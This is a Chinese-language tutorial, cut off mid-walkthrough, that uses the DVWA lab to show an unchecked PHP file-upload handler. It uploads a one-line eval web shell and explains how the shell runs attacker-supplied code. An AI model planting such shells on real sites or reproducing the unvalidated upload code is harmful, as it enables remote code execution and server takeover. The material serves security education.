网络安全：文件上传 + 一句话木马原理 + 菜刀的简单使用

很多的网站提供了文件上传功能，虽然提供了方便的服务，但稍有疏忽，就可能酿成大祸。

这里的疏忽是指，不对用户上传的内容进行检查。

仍旧以DVWA为例：

网站的本意是接受用户的图片（image），但后台代码却并没有对文件进行检测：

网页源码（部分截图）：

php处理源码：

文本也贴出来：

File Upload Source
vulnerabilities/upload/source/low.php
<?php 

if( isset( $_POST[ 'Upload' ] ) ) { 
    // Where are we going to be writing to? 
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; 
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); 

    // Can we move the file to the upload folder? 
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { 
        // No 
        echo '<pre>Your image was not uploaded.</pre>'; 
    } 
    else { 
        // Yes! 
        echo "<pre>{$target_path} succesfully uploaded!</pre>"; 
    } 
} 

?>

我们可以看到，target_path只是获得了文件应该存放的路径。之后的步骤，并未对文件进行任何的检测处理，而直接进行move_uploaded_file()，将文件上传。

换句话说，你的文件不是图片都莫得问题。

试一下，我们上传个php一句话。许多小伙伴可能听说过“一句话木马”这个名词，也见过一句话木马怎么写，但是就不知道为什么起作用。别急，我们简单一聊就通了。没听说过的小伙伴也不用担心，注重听原理。

新建个txt，编辑：

<?php
    @eval($_REQUEST["shell"]);
?>

保存后修改扩展名为.php。（我这里起名为shell）

进行上传：

然后我们会发现successfully upload。上传成功！竟然还给出了路径。路径中的“..”指上一目录。

shell.php被上传到了根目录下hackable/uploads/shell.php。

我们直接通过修改url对其进行访问：

你会发现网页什么都没有显示，但是并没有报错。这说明文件确实存在，只是无显示内容。

一句话木马如何使用？

<?php
@eval($_REQUEST['shell']);
?>

重点在@eval($_REQUEST[‘shell’])的理解。

首先是一个@符号，其实这个东西对我们来说可有可无，这个符号的作用是抵制错误提示。

为什么要抵制错误提示呢？这里先要了解eval（）函数的功能。eval将接收一个字符串参数，并将这个字符串作为命令语句执行。

如：

<?php

    echo "hello";
    eval('echo "hello"');

?>

这两句的功能是相同的，因为eval接收的是个字符串，那这个字符串就有可能不是正确的命令。这样一来直接执行就会报错，为了不显示报错信息，前面加上了@符号。

@一般是创建网站的人才会使用，旨在不让用户从报错信息中获得服务器的相关信息。而我们对一句话进行利用时，有时还是需要报错信息来告诉我们，哪里输错了。

最后看eval中的参数：$_REQUEST[‘shell’]，request是请求，最常用的请求方式有两种GET和POST（不了解的，前面很多文章里都有谈到，STW也可以。【我就不加F了】）。而$_REQUEST就是从请求参数中得到“shell”这个参数的值（当然这个参数名你可以随便起，反正是你来利用。）。

如果是$_GET[“shell”]，就是从get请求的参数中找shell参数。而$_POST[“shell”]，则是从post请求中寻找shell参数。$_REQUEST包含get和post，两者皆可。

到这里，一句话的功能应该就已经清晰了，即从get或post请求参数中，将shell参数的值，作为命令语句执行。

如何利用呢？

为了方便，我们就不抓包（截获报文）了。直接通过get方式向文件发送参数：